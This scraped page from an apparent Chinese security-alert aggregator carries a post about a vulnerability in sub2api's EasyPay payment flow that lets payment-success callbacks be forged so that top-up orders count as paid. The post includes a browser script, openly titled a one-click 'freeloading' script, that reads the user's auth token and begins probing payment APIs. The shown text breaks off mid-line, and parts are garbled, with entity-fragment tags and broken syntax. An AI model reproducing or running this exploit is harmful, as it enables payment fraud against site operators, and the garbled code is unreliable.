選擇語言
繁體中文
繁體中文 Traditional Chinese
简体中文
简体中文 Simplified Chinese
English
English English
日本語
日本語 Japanese
AI 助手

今日情報速問。不用選範圍,直接問今天值得看什麼。

完整分析

通知訊訊

暫無新訊訊

#SIG-114729366

2026-10-07 09:20

L1

標籤

#x27; #x27;; #x27;/api/v1& #x27;/payment/config& #x27;/settings/public& #x27;application/json& #x27;auth_token& #x27;Bearer #x27;Content-Type& #x27;POST& #x27;未登录:localStorage.auth_token #x27;版本:&

摘要

🚨 sub2api 易支付高危漏洞预警:可伪造支付成功回调入账

正文

🚨 sub2api 易支付高危漏洞预警:可伪造支付成功回调入账
危害:攻击者无需知道商户密钥 pkey,复用下单签名即可伪造“支付成功”回调,使充值订单被判定为已支付,直接冲击余额/充值资金安全。
影响范围:使用 sub2api + 开启 易支付 EasyPay + popup / submit.php 跳转模式
🔗 Issue:https://github.com/Wei-Shaw/sub2api/issues/7881
🛠 一键白嫖脚本
const AMOUNT = 60;

(async () => {
const HOST = location.origin, API = HOST + '/api/v1';
const TOK = localStorage.getItem('auth_token');
if (!TOK) { console.log('未登录:localStorage.auth_token 为空'); return; }
const H = { Authorization: 'Bearer ' + TOK, 'Content-Type': 'application/json', Accept: 'application/json' };
const GET = async u => (await fetch(API + u, { headers: H })).json();
const POST = async (u, b) => (await fetch(API + u, { method: 'POST', headers: H, body: JSON.stringify(b) })).json();
const num = v => (isNaN(Number(v)) ? 0 : Number(v));
const pub = await GET('/settings/public');
const pd = (pub && pub.data) {};
console.log('版本:', pd.version, '| 站点:', pd.site_name);
const cfg = ((await GET('/payment/config')) {}).data || {};
if (!cfg.enabled) { cons

指標

重要度80
可信度95
熱度15
瀏覽8844
狀態已发布